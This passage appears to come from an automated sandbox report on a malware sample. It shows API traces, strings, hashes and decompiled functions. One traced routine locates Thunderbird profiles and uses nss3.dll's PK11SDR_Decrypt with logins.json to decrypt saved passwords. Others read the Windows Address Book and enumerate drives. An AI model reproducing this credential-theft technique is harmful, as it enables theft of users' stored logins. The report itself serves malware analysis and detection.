Instruction Fuzzy Hash: 90418E76D00759AFDB12EAE8CC85BDEB7EC9F48350F1405F1A948EB241D7B09E458B50

Uniqueness

Uniqueness Score: -1.00%

Function 0234BB01, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 91memorystringsynchronizationCOMMON

Download Yara Rule

APIs

wcscpy.NTDLL ref: 0234BB2E
GetLogicalDriveStringsW.KERNEL32(00000000,00000000), ref: 0234BB3A
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234BB4B
memset.NTDLL ref: 0234BB68
GetLogicalDriveStringsW.KERNEL32(?,?), ref: 0234BB76
WaitForSingleObject.KERNEL32(00000000), ref: 0234BB84
GetDriveTypeW.KERNEL32(?), ref: 0234BB92
lstrlenW.KERNEL32(?), ref: 0234BB9E
wcscpy.NTDLL ref: 0234BBB1
lstrlenW.KERNEL32(?), ref: 0234BBCB
HeapFree.KERNEL32(00000000,?), ref: 0234BBE4

Strings

\\?\, xrefs: 0234BB25

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Drive$HeapLogicalStringslstrlenwcscpy$AllocateFreeObjectSingleTypeWaitmemset
String ID: \\?\
API String ID: 3888849384-4282027825
Opcode ID: f745bf8b6f6b42c3517a5c1763fbde500c676b05a982195060954bd898b4c0ff
Instruction ID: 26f2a317a57b9b66ae14797a35f69f9dc3b29363fae1dbce8f543bac5dff669f
Opcode Fuzzy Hash: f745bf8b6f6b42c3517a5c1763fbde500c676b05a982195060954bd898b4c0ff
Instruction Fuzzy Hash: F7314872C00118FFDB119BA5DC4CCDEBFBEFF49764B108895E105A2151DB35AA25DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003B63F8, Relevance: 18.4, APIs: 12, Instructions: 407
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E003B63F8(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				intOrPtr _t149;
				intOrPtr _t154;
				intOrPtr _t155;
				intOrPtr _t160;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t165;
				struct HWND__* _t166;
				long _t176;
				signed int _t198;
				signed int _t199;
				long _t220;
				intOrPtr _t226;
				int _t231;
				intOrPtr _t232;
				intOrPtr _t241;
				intOrPtr _t245;
				signed int _t248;
				intOrPtr _t251;
				intOrPtr _t252;
				signed int _t258;
				long _t259;
				intOrPtr _t262;
				intOrPtr _t266;
				signed int _t269;
				intOrPtr _t270;
				intOrPtr _t271;
				signed int _t277;
				long _t278;
				intOrPtr _t281;
				signed int _t286;
				signed int _t287;
				long _t290;
				intOrPtr _t294;
				struct HWND__* _t299;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t307;
				long _t308;
				signed int _t311;
				signed int _t313;
				long _t314;
				signed int _t317;
				signed int _t318;
				signed int _t326;
				long _t328;
				intOrPtr _t331;
				intOrPtr _t362;
				long _t370;
				void* _t372;
				void* _t373;
				intOrPtr _t374;

				_t372 = _t373;
				_t374 = _t373 + 0xfffffff8;
				_v12 = 0;
				_v8 = __eax;
				_push(_t372);
				_push(0x3b6962);
				_push( *[fs:eax]);
				 *[fs:eax] = _t374;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0 && ( *(_v8 + 0x2f4) & 0x00000004) != 0) {
					_t294 =  *0x3da21c; // 0x39dcc0
					E00385C40(_t294,  &_v12);
					E0038B5C4(_v12, 1);
					E00383870();
				}
				_t149 =  *0x3dbb1c; // 0x2141868
				E003BA988(_t149);
				 *(_v8 + 0x2f4) =  *(_v8 + 0x2f4) | 0x00000004;
				_push(_t372);
				_push(0x3b6945);
				_push( *[fs:edx]);
				 *[fs:edx] = _t374;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
					_t155 = _v8;
					_t378 =  *((char*)(_t155 + 0x1a6));
					if( *((char*)(_t155 + 0x1a6)) == 0) {
						_push(_t372);
						_push(0x3b684c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t374;
						E003832F8(_v8, __eflags);
						 *[fs:eax] = 0;
						_t160 =  *0x3dbb20; // 0x2141474
						_t127 = _t160 + 0x6c; // 0x0
						__eflags =  *_t127 - _v8;
						if( *_t127 == _v8) {
							__eflags = 0;
							E003B55A4(_v8, 0);
						}
						_t162 = _v8;
						__eflags =  *((char*)(_t162 + 0x22f)) - 1;
						if( *((char*)(_t162 + 0x22f)) != 1) {
							_t163 = _v8;
							__eflags =  *(_t163 + 0x2f4) & 0x00000008;
							if(( *(_t163 + 0x2f4) & 0x00000008) == 0) {
								_t299 = 0;
								_t165 = E003CEEB8(_v8);
								_t166 = GetActiveWindow();
								__eflags = _t165 - _t166;
								if(_t165 == _t166) {
									_t176 = IsIconic(E003CEEB8(_v8));
									__eflags = _t176;
									if(_t176 == 0) {
										_t299 = E003B1208(E003CEEB8(_v8));
									}
								}
								__eflags = _t299;
								if(_t299 == 0) {
									ShowWindow(E003CEEB8(_v8), 0);
								} else {
									SetWindowPos(E003CEEB8(_v8), 0, 0, 0, 0, 0, 0x97);
									SetActiveWindow(_t299);
								}
							} else {
								SetWindowPos(E003CEEB8(_v8), 0, 0, 0, 0, 0, 0x97);
							}
						} else {
							E003CC410(_v8);
						}
					} else {
						_push(_t372);
						_push(0x3b64b0);
						_push( *[fs:eax]);
						 *[fs:eax] = _t374;
						E003832F8(_v8, _t378);
						 *[fs:eax] = 0;
						if( *((char*)(_v8 + 0x230)) == 4 ||  *((char*)(_v8 + 0x230)) == 6 &&  *((char*)(_v8 + 0x22f)) == 1) {
							if( *((char*)(_v8 + 0x22f)) != 1) {
								_t301 = E003B7C90() -  *(_v8 + 0x48);
								__eflags = _t301;
								_t302 = _t301 >> 1;
								if(_t301 < 0) {
									asm("adc ebx, 0x0");
								}
								_t198 = E003B7C84() -  *(_v8 + 0x4c);
								__eflags = _t198;
								_t199 = _t198 >> 1;
								if(_t198 < 0) {
									asm("adc eax, 0x0");
								}
							} else {
								_t241 =  *0x3dbb1c; // 0x2141868
								_t31 = _t241 + 0x44; // 0x0
								_t305 = E003C80D4( *_t31) -  *(_v8 + 0x48);
								_t302 = _t305 >> 1;
								if(_t305 < 0) {
									asm("adc ebx, 0x0");
								}
								_t245 =  *0x3dbb1c; // 0x2141868
								_t34 = _t245 + 0x44; // 0x0
								_t248 = E003C8118( *_t34) -  *(_v8 + 0x4c);
								_t199 = _t248 >> 1;
								if(_t248 < 0) {
									asm("adc eax, 0x0");
								}
							}
							if(_t302 < 0) {
								_t302 = 0;
							}
							if(_t199 < 0) {
								_t199 = 0;
							}
							_t326 = _t199;
							 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
							if( *((char*)(_v8 + 0x57)) != 0) {
								E003B4854(_v8, _t326);
							}
						} else {
							_t251 =  *((intOrPtr*)(_v8 + 0x230));
							__eflags = _t251 + 0xfa - 2;
							if(_t251 + 0xfa - 2 >= 0) {
								__eflags = _t251 - 5;
								if(_t251 == 5) {
									_t252 = _v8;
									__eflags =  *((char*)(_t252 + 0x22f)) - 1;
									if( *((char*)(_t252 + 0x22f)) != 1) {
										_t307 = E003B7CC0() -  *(_v8 + 0x48);
										__eflags = _t307;
										_t308 = _t307 >> 1;
										if(_t307 < 0) {
											asm("adc ebx, 0x0");
										}
										_t258 = E003B7CB4() -  *(_v8 + 0x4c);
										__eflags = _t258;
										_t259 = _t258 >> 1;
										if(_t258 < 0) {
											asm("adc eax, 0x0");
										}
									} else {
										_t262 =  *0x3dbb1c; // 0x2141868
										_t82 = _t262 + 0x44; // 0x0
										_t311 = E003C80D4( *_t82) -  *(_v8 + 0x48);
										__eflags = _t311;
										_t308 = _t311 >> 1;
										if(_t311 < 0) {
											asm("adc ebx, 0x0");
										}
										_t266 =  *0x3dbb1c; // 0x2141868
										_t85 = _t266 + 0x44; // 0x0
										_t269 = E003C8118( *_t85) -  *(_v8 + 0x4c);
										__eflags = _t269;
										_t259 = _t269 >> 1;
										if(_t269 < 0) {
											asm("adc eax, 0x0");
										}
									}
									__eflags = _t308;
									if(_t308 < 0) {
										_t308 = 0;
										__eflags = 0;
									}
									__eflags = _t259;
									if(_t259 < 0) {
										_t259 = 0;
										__eflags = 0;
									}
									 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
								}
							} else {
								_t270 =  *0x3dbb1c; // 0x2141868
								_t52 = _t270 + 0x44; // 0x0
								_t370 =  *_t52;
								_t271 = _v8;
								__eflags =  *((char*)(_t271 + 0x230)) - 7;
								if( *((char*)(_t271 + 0x230)) == 7) {
									_t362 =  *0x3afb40; // 0x3afb8c
									_t290 = E00383288( *(_v8 + 4), _t362);
									__eflags = _t290;
									if(_t290 != 0) {
										_t370 =  *(_v8 + 4);
									}
								}
								__eflags = _t370;
								if(_t370 == 0) {
									_t313 = E003B7C90() -  *(_v8 + 0x48);
									__eflags = _t313;
									_t314 = _t313 >> 1;
									if(_t313 < 0) {
										asm("adc ebx, 0x0");
									}
									_t277 = E003B7C84() -  *(_v8 + 0x4c);
									__eflags = _t277;
									_t278 = _t277 >> 1;
									if(_t277 < 0) {
										asm("adc eax, 0x0");
									}
								} else {
									_t317 =  *((intOrPtr*)(_t370 + 0x48)) -  *(_v8 + 0x48);
									__eflags = _t317;
									_t318 = _t317 >> 1;
									if(_t317 < 0) {
										asm("adc ebx, 0x0");
									}
									_t314 = _t318 +  *((intOrPtr*)(_t370 + 0x40));
									_t286 =  *((intOrPtr*)(_t370 + 0x4c)) -  *(_v8 + 0x4c);
									__eflags = _t286;
									_t287 = _t286 >> 1;
									if(_t286 < 0) {
										asm("adc eax, 0x0");
									}
									_t278 = _t287 +  *((intOrPtr*)(_t370 + 0x44));
								}
								__eflags = _t314;
								if(_t314 < 0) {
									_t314 = 0;
									__eflags = 0;
								}
								__eflags = _t278;
								if(_t278 < 0) {
									_t278 = 0;
									__eflags = 0;
								}
								_t328 = _t278;
								 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
								_t281 = _v8;
								__eflags =  *((char*)(_t281 + 0x57));
								if( *((char*)(_t281 + 0x57)) != 0) {
									E003B4854(_v8, _t328);
								}
							}
						}
						 *((char*)(_v8 + 0x230)) = 0;
						if( *((char*)(_v8 + 0x22f)) != 1) {
							ShowWindow(E003CEEB8(_v8),  *(0x3d9ae0 + ( *(_v8 + 0x22b) & 0x000000ff) * 4));
						} else {
							if( *(_v8 + 0x22b) != 2) {
								ShowWindow(E003CEEB8(_v8),  *(0x3d9ae0 + ( *(_v8 + 0x22b) & 0x000000ff) * 4));
								_t220 =  *(_v8 + 0x48) |  *(_v8 + 0x4c) << 0x00000010;
								__eflags = _t220;
								CallWindowProcA(0x3865b4, E003CEEB8(_v8), 5, 0, _t220);
								E003C8930();
							} else {
								_t231 = E003CEEB8(_v8);
								_t232 =  *0x3dbb1c; // 0x2141868
								_t105 = _t232 + 0x44; // 0x0
								SendMessageA( *( *_t105 + 0x254), 0x223, _t231, 0);
								ShowWindow(E003CEEB8(_v8), 3);
							}
							_t226 =  *0x3dbb1c; // 0x2141868
							_t119 = _t226 + 0x44; // 0x0
							SendMessageA( *( *_t119 + 0x254), 0x234, 0, 0);
						}
					}
				}
				_pop(_t331);
				 *[fs:eax] = _t331;
				_push(0x3b694c);
				_t154 = _v8;
				 *(_t154 + 0x2f4) =  *(_t154 + 0x2f4) & 0x000000fb;
				return _t154;
			}

0x003b63f9
0x003b63fb
0x003b6403
0x003b6406
0x003b640b
0x003b640c
0x003b6411
0x003b6414
0x003b641e
0x003b642f
0x003b6434
0x003b6443
0x003b6448
0x003b6448
0x003b644d
0x003b6452
0x003b645a
0x003b6463
0x003b6464
0x003b6469
0x003b646c
0x003b6476
0x003b647c
0x003b647f
0x003b6486
0x003b682a
0x003b682b
0x003b6830
0x003b6833
0x003b683d
0x003b6847
0x003b6863
0x003b6868
0x003b686b
0x003b686e
0x003b6870
0x003b6875
0x003b6875
0x003b687a
0x003b687d
0x003b6884
0x003b6893
0x003b6896
0x003b689d
0x003b68be
0x003b68c3
0x003b68ca
0x003b68cf
0x003b68d1
0x003b68dc
0x003b68e1
0x003b68e3
0x003b68f2
0x003b68f2
0x003b68e3
0x003b68f4
0x003b68f6
0x003b6928
0x003b68f8
0x003b6910
0x003b6916
0x003b6916
0x003b689f
0x003b68b7
0x003b68b7
0x003b6886
0x003b6889
0x003b6889
0x003b648c
0x003b648e
0x003b648f
0x003b6494
0x003b6497
0x003b64a1
0x003b64ab
0x003b64d1
0x003b64fd
0x003b6546
0x003b6546
0x003b6549
0x003b654b
0x003b654d
0x003b654d
0x003b655d
0x003b655d
0x003b6560
0x003b6562
0x003b6564
0x003b6564
0x003b64ff
0x003b64ff
0x003b6504
0x003b6511
0x003b6514
0x003b6516
0x003b6518
0x003b6518
0x003b651b
0x003b6520
0x003b652b
0x003b652e
0x003b6530
0x003b6532
0x003b6532
0x003b6530
0x003b6569
0x003b656b
0x003b656b
0x003b656f
0x003b6571
0x003b6571
0x003b6581
0x003b658a
0x003b6597
0x003b65a0
0x003b65a0
0x003b65aa
0x003b65ad
0x003b65b8
0x003b65bb
0x003b668f
0x003b6691
0x003b6697
0x003b669a
0x003b66a1
0x003b66ea
0x003b66ea
0x003b66ed
0x003b66ef
0x003b66f1
0x003b66f1
0x003b6701
0x003b6701
0x003b6704
0x003b6706
0x003b6708
0x003b6708
0x003b66a3
0x003b66a3
0x003b66a8
0x003b66b5
0x003b66b5
0x003b66b8
0x003b66ba
0x003b66bc
0x003b66bc
0x003b66bf
0x003b66c4
0x003b66cf
0x003b66cf
0x003b66d2
0x003b66d4
0x003b66d6
0x003b66d6
0x003b66d4
0x003b670b
0x003b670d
0x003b670f
0x003b670f
0x003b670f
0x003b6711
0x003b6713
0x003b6715
0x003b6715
0x003b6715
0x003b672e
0x003b672e
0x003b65c1
0x003b65c1
0x003b65c6
0x003b65c6
0x003b65c9
0x003b65cc
0x003b65d3
0x003b65db
0x003b65e1
0x003b65e6
0x003b65e8
0x003b65ed
0x003b65ed
0x003b65e8
0x003b65f0
0x003b65f2
0x003b662b
0x003b662b
0x003b662e
0x003b6630
0x003b6632
0x003b6632
0x003b6642
0x003b6642
0x003b6645
0x003b6647
0x003b6649
0x003b6649
0x003b65f4
0x003b65fa
0x003b65fa
0x003b65fd
0x003b65ff
0x003b6601
0x003b6601
0x003b6604
0x003b660d
0x003b660d
0x003b6610
0x003b6612
0x003b6614
0x003b6614
0x003b6617
0x003b6617
0x003b664c
0x003b664e
0x003b6650
0x003b6650
0x003b6650
0x003b6652
0x003b6654
0x003b6656
0x003b6656
0x003b6656
0x003b6666
0x003b666f
0x003b6675
0x003b6678
0x003b667c
0x003b6685
0x003b6685
0x003b667c
0x003b65bb
0x003b6737
0x003b6748
0x003b681e
0x003b674e
0x003b6758
0x003b67ab
0x003b67bf
0x003b67bf
0x003b67d4
0x003b67dc
0x003b675a
0x003b675f
0x003b676a
0x003b676f
0x003b6779
0x003b6789
0x003b6789
0x003b67ea
0x003b67ef
0x003b67f9
0x003b67f9
0x003b6748
0x003b6486
0x003b692f
0x003b6932
0x003b6935
0x003b693a
0x003b693d
0x003b6944

APIs

SendMessageA.USER32 ref: 003B6779

Part of subcall function 00385C40: LoadStringA.USER32 ref: 00385C71

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadMessageSendString
String ID:
API String ID: 1946433856-0
Opcode ID: e9f52ac48ecb1f8c17785518341d5b2a11c3dbe3c993f311e636e98ba47482a6
Instruction ID: 4c629ed0263394d267c697fda238a64bae57a7f53ae85a38a6d8e0736d4ced8b
Opcode Fuzzy Hash: e9f52ac48ecb1f8c17785518341d5b2a11c3dbe3c993f311e636e98ba47482a6
Instruction Fuzzy Hash: 5FF16F35A00644EFDB02DBA8C986FADB7F4AB44304F2540A5EA04DB7A7D739EE01DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02359B00, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0234CED9: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,00000000,?,02359B36), ref: 0234CEEA
Part of subcall function 0234CED9: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000,?,02359B36), ref: 0234CF07

FreeLibrary.KERNEL32(?), ref: 02359C28

Part of subcall function 02341F8F: lstrlenW.KERNEL32(?,00000000,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02341F9C
Part of subcall function 02341F8F: GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02341FC5
Part of subcall function 02341F8F: lstrcpyW.KERNEL32(-0000FFFE,?), ref: 02341FE5
Part of subcall function 02341F8F: lstrcpyW.KERNEL32(-00000002,nss3.dll), ref: 02341FF8
Part of subcall function 02341F8F: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342004
Part of subcall function 02341F8F: LoadLibraryW.KERNEL32(-0000FFFE), ref: 02342007
Part of subcall function 02341F8F: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342013
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,NSS_Init,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342025
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,NSS_Shutdown,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342034
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342043
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,PK11_FreeSlot,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342052
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,PK11_Authenticate,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342061
Part of subcall function 02341F8F: GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342070

FindFirstFileW.KERNEL32(?,?,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02359B7E
lstrlenW.KERNEL32(?), ref: 02359B9A
lstrlenW.KERNEL32(?), ref: 02359BB2

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

lstrcpyW.KERNEL32(00000000,?), ref: 02359BCB
lstrcpyW.KERNEL32(00000002), ref: 02359BE0

Part of subcall function 0234B766: lstrlenW.KERNEL32(?,00000000,767130EA,766F16D0,?,?,?,02359BF0,?,00000000,00000001), ref: 0234B776
Part of subcall function 0234B766: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001,?,?,?,02359BF0,?,00000000,00000001), ref: 0234B798
Part of subcall function 0234B766: lstrcpyW.KERNEL32(00000000,?), ref: 0234B7C4
Part of subcall function 0234B766: lstrcatW.KERNEL32(00000000,\logins.json), ref: 0234B7D0

FindNextFileW.KERNEL32(?,00000010), ref: 02359C08
FindClose.KERNEL32(00000002), ref: 02359C16

Strings

%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default, xrefs: 02359B42
%PROGRAMFILES%\Mozilla Thunderbird, xrefs: 02359B1E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProc$lstrcpy$lstrlen$CurrentDirectoryFind$EnvironmentExpandFileLibraryStrings$AllocateByteCharCloseFirstFreeHeapLoadMultiNextWidelstrcat
String ID: %PROGRAMFILES%\Mozilla Thunderbird$%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default
API String ID: 1209511739-2644807129
Opcode ID: 7d276cf8efd68946200b5d8476597893d93651823520557ac64b177717069fcb
Instruction ID: 17121e58305602940bffb031f1508ba72583043f5540510da204bac313e616cf
Opcode Fuzzy Hash: 7d276cf8efd68946200b5d8476597893d93651823520557ac64b177717069fcb
Instruction Fuzzy Hash: 3C316D71908356DFD7219F20DC48E2FBBEAEB84B04F044D1DF88892150DB31D5598BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0234F304, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 85registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,00000001), ref: 0234F31F
RegCloseKey.ADVAPI32(00000001,?,00000008,?,00000001), ref: 0234F3D0

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

LoadLibraryA.KERNEL32(00000000), ref: 0234F36D
GetProcAddress.KERNEL32(00000000,WABOpen,?,00000008,?,00000001), ref: 0234F37F
GetLastError.KERNEL32(?,00000008,?,00000001), ref: 0234F39E
FreeLibrary.KERNEL32(00000000,?,00000008,?,00000001), ref: 0234F3B0
GetLastError.KERNEL32(?,00000008,?,00000001), ref: 0234F3B8

Strings

Software\Microsoft\WAB\DLLPath, xrefs: 0234F310
WABOpen, xrefs: 0234F379

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLastLibrary$AddressAllocateCloseFreeHeapLoadOpenProc
String ID: Software\Microsoft\WAB\DLLPath$WABOpen
API String ID: 1628847533-1249168598
Opcode ID: 44bf6c211cfb25cf65c8793a12c5e2523d6863001cfa887228befacf7a1d7a46
Instruction ID: 8f8241e0e28dcf9a119a886895e5100a1fdf786da90f32979ac590fec6d75fe1
Opcode Fuzzy Hash: 44bf6c211cfb25cf65c8793a12c5e2523d6863001cfa887228befacf7a1d7a46
Instruction Fuzzy Hash: 132190B2E40254FFCB216BA59C4CDAEBBFCEB84758B1845E6F902A3510DB35A950CA50

Uniqueness

Uniqueness Score: -1.00%

Function 003C281C, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 405
nativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E003C281C(intOrPtr __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct HMENU__* _v12;
				signed int _v16;
				char _v17;
				intOrPtr _v24;
				int _v28;
				struct HDC__* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				char _v52;
				intOrPtr _t137;
				signed int _t138;
				struct HWND__* _t144;
				signed int _t150;
				signed int _t151;
				intOrPtr* _t153;
				void* _t158;
				struct HMENU__* _t160;
				intOrPtr* _t165;
				void* _t173;
				signed int _t177;
				signed int _t181;
				void* _t182;
				void* _t214;
				void* _t252;
				signed int _t258;
				void* _t266;
				signed int _t272;
				signed int _t273;
				signed int _t275;
				signed int _t276;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t287;
				signed int _t288;
				signed int _t291;
				signed int _t292;
				intOrPtr _t308;
				intOrPtr _t312;
				intOrPtr _t334;
				intOrPtr _t343;
				intOrPtr _t347;
				intOrPtr* _t354;
				signed int _t356;
				intOrPtr* _t357;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t372;
				signed int _t373;
				signed int _t374;
				intOrPtr* _t376;
				void* _t378;
				void* _t379;
				intOrPtr _t380;
				void* _t381;

				_t378 = _t379;
				_t380 = _t379 + 0xffffffd0;
				_v52 = 0;
				_t376 = __edx;
				_v8 = __eax;
				_push(_t378);
				_push(0x3c2d4f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t380;
				_t137 =  *__edx;
				_t381 = _t137 - 0x111;
				if(_t381 > 0) {
					_t138 = _t137 - 0x117;
					__eflags = _t138;
					if(_t138 == 0) {
						_t272 =  *((intOrPtr*)(_v8 + 8)) - 1;
						__eflags = _t272;
						if(_t272 < 0) {
							goto L67;
						} else {
							_t273 = _t272 + 1;
							_t368 = 0;
							__eflags = 0;
							while(1) {
								_t150 = E003C19C4(E00396F34(_v8, _t368),  *(_t376 + 4), __eflags);
								__eflags = _t150;
								if(_t150 != 0) {
									goto L68;
								}
								_t368 = _t368 + 1;
								_t273 = _t273 - 1;
								__eflags = _t273;
								if(_t273 != 0) {
									continue;
								} else {
									goto L67;
								}
								goto L68;
							}
						}
					} else {
						_t151 = _t138 - 8;
						__eflags = _t151;
						if(_t151 == 0) {
							_v17 = 0;
							__eflags =  *(__edx + 6) & 0x00000010;
							if(( *(__edx + 6) & 0x00000010) != 0) {
								_v17 = 1;
							}
							_t275 =  *((intOrPtr*)(_v8 + 8)) - 1;
							__eflags = _t275;
							if(__eflags < 0) {
								L32:
								_t153 =  *0x3da0b4; // 0x3dbb1c
								E003BA898( *_t153, 0, __eflags);
								goto L67;
							} else {
								_t276 = _t275 + 1;
								_t369 = 0;
								__eflags = 0;
								while(1) {
									__eflags = _v17 - 1;
									if(_v17 != 1) {
										_v12 =  *(_t376 + 4) & 0x0000ffff;
									} else {
										_t160 =  *(_t376 + 8);
										__eflags = _t160;
										if(_t160 == 0) {
											_v12 = 0xffffffff;
										} else {
											_v12 = GetSubMenu(_t160,  *(_t376 + 4) & 0x0000ffff);
										}
									}
									_t158 = E00396F34(_v8, _t369);
									_t296 = _v17;
									_v16 = E003C1908(_t158, _v17, _v12);
									__eflags = _v16;
									if(__eflags != 0) {
										break;
									}
									_t369 = _t369 + 1;
									_t276 = _t276 - 1;
									__eflags = _t276;
									if(__eflags != 0) {
										continue;
									} else {
										goto L32;
									}
									goto L68;
								}
								E003C5834( *((intOrPtr*)(_v16 + 0x58)), _t296,  &_v52, __eflags);
								_t165 =  *0x3da0b4; // 0x3dbb1c
								E003BA898( *_t165, _v52, __eflags);
							}
						} else {
							__eflags = _t151 == 1;
							if(_t151 == 1) {
								_t278 =  *((intOrPtr*)(_v8 + 8)) - 1;
								__eflags = _t278;
								if(_t278 < 0) {
									goto L67;
								} else {
									_t279 = _t278 + 1;
									_t370 = 0;
									__eflags = 0;
									while(1) {
										_v48 = E00396F34(_v8, _t370);
										_t173 =  *((intOrPtr*)( *_v48 + 0x34))();
										__eflags = _t173 -  *(_t376 + 8);
										if(_t173 ==  *(_t376 + 8)) {
											break;
										}
										_t177 = E003C1908(_v48, 1,  *(_t376 + 8));
										__eflags = _t177;
										if(_t177 == 0) {
											_t370 = _t370 + 1;
											_t279 = _t279 - 1;
											__eflags = _t279;
											if(_t279 != 0) {
												continue;
											} else {
												goto L67;
											}
										} else {
											break;
										}
										goto L68;
									}
									E003C2208(_v48, _t376);
								}
							} else {
								goto L67;
							}
						}
					}
					goto L68;
				} else {
					if(_t381 == 0) {
						_t281 =  *((intOrPtr*)(_v8 + 8)) - 1;
						__eflags = _t281;
						if(_t281 < 0) {
							goto L67;
						} else {
							_t282 = _t281 + 1;
							_t371 = 0;
							__eflags = 0;
							while(1) {
								E00396F34(_v8, _t371);
								_t181 = E003C19A8( *(_t376 + 4), __eflags);
								__eflags = _t181;
								if(_t181 != 0) {
									goto L68;
								}
								_t371 = _t371 + 1;
								_t282 = _t282 - 1;
								__eflags = _t282;
								if(_t282 != 0) {
									continue;
								} else {
									goto L67;
								}
								goto L68;
							}
						}
						goto L68;
					} else {
						_t182 = _t137 - 0x2b;
						if(_t182 == 0) {
							_v40 =  *((intOrPtr*)(__edx + 8));
							_t284 =  *((intOrPtr*)(_v8 + 8)) - 1;
							__eflags = _t284;
							if(_t284 < 0) {
								goto L67;
							} else {
								_t285 = _t284 + 1;
								_t372 = 0;
								__eflags = 0;
								while(1) {
									_v16 = E003C1908(E00396F34(_v8, _t372), 0,  *((intOrPtr*)(_v40 + 8)));
									__eflags = _v16;
									if(_v16 != 0) {
										break;
									}
									_t372 = _t372 + 1;
									_t285 = _t285 - 1;
									__eflags = _t285;
									if(_t285 != 0) {
										continue;
									} else {
										goto L67;
									}
									goto L69;
								}
								_v24 = E003A0234(0, 1);
								_push(_t378);
								_push(0x3c2b82);
								_push( *[fs:eax]);
								 *[fs:eax] = _t380;
								_v28 = SaveDC( *(_v40 + 0x18));
								_push(_t378);
								_push(0x3c2b65);
								_push( *[fs:eax]);
								 *[fs:eax] = _t380;
								E003A0824(_v24,  *(_v40 + 0x18));
								E003A06C4(_v24);
								E003C2FF4(_v16, _v40 + 0x1c, _v24,  *((intOrPtr*)(_v40 + 0x10)));
								_pop(_t334);
								 *[fs:eax] = _t334;
								_push(0x3c2b6c);
								__eflags = 0;
								E003A0824(_v24, 0);
								return RestoreDC( *(_v40 + 0x18), _v28);
							}
						} else {
